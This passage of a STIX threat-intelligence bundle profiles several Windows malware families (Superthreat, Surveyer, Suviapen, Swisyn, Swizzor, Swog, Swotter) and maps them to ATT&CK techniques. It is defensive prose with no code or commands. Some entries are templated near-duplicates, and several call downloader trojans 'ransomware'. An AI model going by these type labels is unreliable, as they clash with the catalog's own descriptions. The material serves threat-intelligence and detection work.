      "id": "relationship--c59458c2-219d-5bb0-a064-7950254c8cd5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--557415dd-8637-5f23-bd8c-2919d9f33d2a",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Superspy exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8af0d8e0-c8fc-5442-aa27-51db01dca442",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Superthreat",
      "description": "Rogue:Win32/Superthreat is a classic example of Rogue Software, specifically a 'Fake Antivirus' (FakeAV) or 'Scareware'. It masquerades as a legitimate security suite, performing fabricated system scans that inevitably report hundreds of non-existent critical virus infections. Its sole purpose is to employ deceptive social engineering to frighten the user into purchasing a premium license to 'clean' the fabricated malware.<br><br><b>Understanding Superthreat (Fake AV)</b><br>To an end-user, Superthreat appears to be a highly alarming security alert warning them of impending system destruction. For a security analyst, it is a Potentially Unwanted Program (PUP) that utilizes fraudulent tactics (`T1566.002`). It degrades system performance, steals financial data via fraudulent transactions, and often acts aggressively to prevent the user from launching real security tools.<br><br><b>Execution and Deception Mechanics</b><br>Superthreat is primarily distributed through deceptive malvertising, drive-by downloads, or fake 'Your PC is infected' pop-ups on low-reputation websites (`T1189`). Upon execution, it establishes persistence by modifying the Registry Run keys (`T1547.001`) to ensure it launches automatically. To maintain its illusion of authority and force payment, it actively Impairs Defenses (`T1562.001`) by terminating the processes of legitimate antivirus software (like Windows Defender), blocking access to security websites, and hijacking the Windows Security Center interface.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is financial loss for the user (fraud) and reduced endpoint usability. Host-based IoCs include the presence of a new, highly aggressive 'antivirus' application demanding payment, persistent desktop pop-ups, and the inability to open legitimate security tools (like Task Manager or Regedit). EDR telemetry will log the software's autostart registry modifications and its attempts to terminate known AV processes. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Superthreat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/superthreat"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c8e5d2d-3b3e-5dac-a1c4-8de897fc33b2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8af0d8e0-c8fc-5442-aa27-51db01dca442",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Superthreat exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Terminating real AV processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c03a1bd1-a999-5020-9427-26f4d222fe29",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8af0d8e0-c8fc-5442-aa27-51db01dca442",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Superthreat exhibits technique T1547.001 (Boot or Logon Autostart Execution (Registry Run keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d8e284a8-843a-504b-872d-7c033865250e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8af0d8e0-c8fc-5442-aa27-51db01dca442",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Superthreat exhibits technique T1189 (Drive-by Compromise (Malvertising distribution))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6bbd3690-e5ea-552f-92ac-a8473dc64797",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Surveyer",
      "description": "Adware:Win32/Surveyer is a persistent Potentially Unwanted Program (PUA) and adware family often bundled with free software. Its primary function is to silently install rogue browser extensions and intercept web traffic to inject intrusive advertisements, particularly fake 'surveys' or 'you have won' pop-ups, thereby generating illicit affiliate revenue and harvesting user data for the developers.<br><br><b>Understanding Surveyer Adware</b><br>To an end-user, a Surveyer infection is highly frustrating. Their familiar Google or Bing search engine is suddenly replaced by an unknown portal, their browser becomes sluggish, and they are constantly interrupted by fake survey pop-ups demanding personal information in exchange for non-existent prizes. For security analysts, it represents a classic Pay-Per-Install (PPI) monetization scheme, utilizing persistence mechanisms to prevent the user from easily reverting their browser settings.<br><br><b>Execution and Hijacking Mechanics</b><br>Surveyer is heavily distributed via deceptive software bundlers (`T1189`) found on third-party freeware sites. Upon execution, the installer uses 'Dark Patterns' to bypass user consent (`T1204.002`). It establishes persistence via Registry Run keys. It installs rogue Browser Helper Objects (BHOs) and extensions (`T1176`) to intercept all web traffic (`T1185`), injecting its survey advertisements directly into the DOM of the websites the user visits and monitoring search queries.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy (all searches are tracked and monetized), and the potential for users to submit sensitive corporate or personal data into the fake surveys (phishing). Incident responders will observe anomalous HTTP/HTTPS traffic routing through known adware tracking networks. EDR logs will flag the installation of the Surveyer extensions and the unauthorized modification of browser registry keys. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Surveyer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/surveyer"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8818c24e-5d73-5a89-b759-14a855737e20",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6bbd3690-e5ea-552f-92ac-a8473dc64797",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Surveyer exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0301b28b-8257-5743-80fb-276bb9802e34",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6bbd3690-e5ea-552f-92ac-a8473dc64797",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Surveyer exhibits technique T1176 (Browser Extensions (BHO installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0c5a5d6-1096-5dc7-ae6a-ee9c668c6780",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6bbd3690-e5ea-552f-92ac-a8473dc64797",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Surveyer exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e859d959-1322-503a-ab92-b07d9da62101",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6bbd3690-e5ea-552f-92ac-a8473dc64797",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Surveyer exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--689d22ba-b400-5a47-b689-b794659ed512",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Suviapen",
      "description": "<h3>Executive Summary</h3>\nSuviapen is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSuviapen is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Suviapen operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Suviapen ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Suviapen receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Suviapen infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Suviapen executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Suviapen frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Suviapen",
        "Downloader.Suviapen",
        "Win32/Suviapen"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Suviapen",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/suviapen"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ed43910-a657-5cba-89a4-f1c2f1677a95",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--689d22ba-b400-5a47-b689-b794659ed512",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Suviapen exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--495dd947-cd44-5df2-a241-4d1be132b387",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--689d22ba-b400-5a47-b689-b794659ed512",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Suviapen exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--90bcd6a7-6037-5e2f-8d07-fef036a34e8c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--689d22ba-b400-5a47-b689-b794659ed512",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Suviapen exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bf6b99a2-13b7-541a-8d11-2f60fbad1223",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Swisyn",
      "description": "Trojan:Win32/Swisyn (cataloged across industry vendor telemetry as TrojanDropper:Win32/Swisyn, Trojan.Win32.Swisyn, or Win32/Swisyn) is an evasive multi-stage trojan dropper and credential harvesting platform. Written in C/C++ or Delphi and wrapped in complex custom packers, Swisyn disguises itself as legitimate utility software, media players, or game setup files. Upon launch, Swisyn executes an anti-analysis sequence that checks for debugging hooks, verifies system uptime, and decrypts an embedded secondary executable directly into volatile memory. Using process hollowing or API hook injection, Swisyn injects malicious code into trusted Windows binaries (such as explorer.exe or svchost.exe), registers persistence in the Windows Registry Run keys, and connects to remote C2 infrastructure to transmit stolen system information and download tertiary crimeware components. (Observed samples in benchmark: 1,036)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Swisyn",
        "Trojan:Win32/Swisyn",
        "TrojanDropper:Win32/Swisyn",
        "Trojan.Win32.Swisyn",
        "Win32/Swisyn",
        "Trojan.Swisyn",
        "Swisyn Dropper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Swisyn",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/swisyn"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--70a8d786-9758-562a-8c1a-ab0d057b8dea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf6b99a2-13b7-541a-8d11-2f60fbad1223",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swisyn exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e885e7c2-06f7-509e-8c60-0881c1a49959",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf6b99a2-13b7-541a-8d11-2f60fbad1223",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swisyn exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--498a03b0-33b6-5b33-ac55-c16c14c6cc30",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf6b99a2-13b7-541a-8d11-2f60fbad1223",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swisyn exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cde9fd78-66a3-57fc-baa9-0052f1db969b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf6b99a2-13b7-541a-8d11-2f60fbad1223",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swisyn exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac2fd8f7-c278-536c-8803-27c45dbb004d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf6b99a2-13b7-541a-8d11-2f60fbad1223",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swisyn exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46b47440-05bf-5499-8c3f-4b0ae080ffb9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf6b99a2-13b7-541a-8d11-2f60fbad1223",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swisyn exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b4ca0346-e5fe-54d7-b18e-e769658ea893",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Swizzor",
      "description": "Swizzor (cataloged across antivirus vendors under signatures including Adware:Win32/Swizzor, Trojan.Win32.Swizzor, and Win32/Swizzor) is one of the most prolific and technically sophisticated adware and trojan downloader families in cybersecurity history. Active throughout the mid-2000s, Swizzor infected millions of Windows machines worldwide. The operators of Swizzor pioneered industrial-scale server-side polymorphism: every download request served a freshly compiled, heavily obfuscated binary containing randomized junk code, polymorphic decryptor loops, and non-standard PE section layouts specifically designed to invalidate MD5/SHA256 signatures and thwart AV emulation engines. Distributed through cracked software portals, fake multimedia codecs, and bundled freeware, Swizzor drops secondary monetization payloads, alters browser homepages, injects desktop pop-ups, and contacts centralized affiliate networks to earn fraudulent pay-per-install (PPI) revenue. (Observed samples in benchmark: 55)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Swizzor",
        "Trojan.Win32.Swizzor",
        "Win32/Swizzor",
        "Swizzor Adware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Swizzor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/swizzor"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15a6d266-eda0-55d0-9100-489f5c0336e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4ca0346-e5fe-54d7-b18e-e769658ea893",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swizzor exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3061444a-6ad1-5d00-a324-873e594fd62b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4ca0346-e5fe-54d7-b18e-e769658ea893",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swizzor exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4dec832-9c69-562b-815d-2664d092515b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4ca0346-e5fe-54d7-b18e-e769658ea893",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swizzor exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c89e6cbd-261b-5451-9494-1e0996c38839",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4ca0346-e5fe-54d7-b18e-e769658ea893",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swizzor exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7bdb50a0-64a1-5cc4-b669-9d6b2668e910",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4ca0346-e5fe-54d7-b18e-e769658ea893",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swizzor exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2c6529f5-881e-5c3b-8a52-5d2e425f52cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Swog",
      "description": "<h3>Executive Summary</h3>\nSwog is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSwog is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Swog operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Swog ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Swog receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Swog infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Swog executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Swog frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Swog",
        "Downloader.Swog",
        "Win32/Swog"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Swog",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/swog"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2feb4979-6b36-5eeb-b5d7-bc05f8dc7516",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c6529f5-881e-5c3b-8a52-5d2e425f52cc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swog exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82068369-93e0-5b2b-90f7-36df6472b731",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c6529f5-881e-5c3b-8a52-5d2e425f52cc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swog exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8cb96f26-a412-54d7-9e7f-6a02651b92af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c6529f5-881e-5c3b-8a52-5d2e425f52cc",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swog exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fe10f8c9-b354-5de2-ba06-45adcebdeb0e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Swotter",
      "description": "Trojan:Win32/Swotter is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Swotter</b><br>To an end-user, a Swotter infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Swotter is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Swotter is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Swotter frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Swotter reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Swotter",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/swotter"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5367eb5-9807-598e-8fd5-2a931ea6b2a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe10f8c9-b354-5de2-ba06-45adcebdeb0e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Swotter exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
